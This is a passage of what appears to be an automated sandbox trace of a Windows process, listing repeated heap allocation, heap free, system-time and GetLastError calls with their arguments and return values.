dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c1b10, dwHighDateTime=0x1d595b2)) [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c1b10, dwHighDateTime=0x1d595b2)) [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c1b10, dwHighDateTime=0x1d595b2)) [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c1b10, dwHighDateTime=0x1d595b2)) [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.412] GetLastError () returned 0x578 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.412] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.412] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c4220, dwHighDateTime=0x1d595b2)) [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c4220, dwHighDateTime=0x1d595b2)) [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c4220, dwHighDateTime=0x1d595b2)) [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c4220, dwHighDateTime=0x1d595b2)) [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c4220, dwHighDateTime=0x1d595b2)) [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.413] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.413] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c4220, dwHighDateTime=0x1d595b2)) [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c4220, dwHighDateTime=0x1d595b2)) [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.414] GetLastError () returned 0x578 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c6930, dwHighDateTime=0x1d595b2)) [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.414] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c6930, dwHighDateTime=0x1d595b2)) [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.414] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.414] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c6930, dwHighDateTime=0x1d595b2)) [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c6930, dwHighDateTime=0x1d595b2)) [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c9040, dwHighDateTime=0x1d595b2)) [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c9040, dwHighDateTime=0x1d595b2)) [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9c9040, dwHighDateTime=0x1d595b2)) [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.415] GetLastError () returned 0x578 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.415] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.415] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cb750, dwHighDateTime=0x1d595b2)) [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cb750, dwHighDateTime=0x1d595b2)) [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cb750, dwHighDateTime=0x1d595b2)) [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cb750, dwHighDateTime=0x1d595b2)) [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cb750, dwHighDateTime=0x1d595b2)) [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cb750, dwHighDateTime=0x1d595b2)) [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.416] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.416] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cb750, dwHighDateTime=0x1d595b2)) [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.417] GetLastError () returned 0x578 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x10) returned 0x22fe080 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x18) returned 0x22fe278 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe080 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x24) returned 0x22fe068 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe278 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x34) returned 0x22fe098 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe098 | out: hHeap=0x22f0000) returned 1 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd890 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd8a0 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fe068 | out: hHeap=0x22f0000) returned 1 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd880 | out: hHeap=0x22f0000) returned 1 [0037.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cde60, dwHighDateTime=0x1d595b2)) [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd880 [0037.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cde60, dwHighDateTime=0x1d595b2)) [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x4) returned 0x22fd8a0 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0x8) returned 0x22fd890 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd8a0 | out: hHeap=0x22f0000) returned 1 [0037.417] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x0, Size=0xc) returned 0x22fe068 [0037.417] HeapFree (in: hHeap=0x22f0000, dwFlags=0x0, lpMem=0x22fd890 | out: hHeap=0x22f0000) returned 1 [0037.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0x9b9cde60, dwHighDateTime=0x1d595b2)) [0037.417] HeapFree (in: hHeap=0x22f0000, 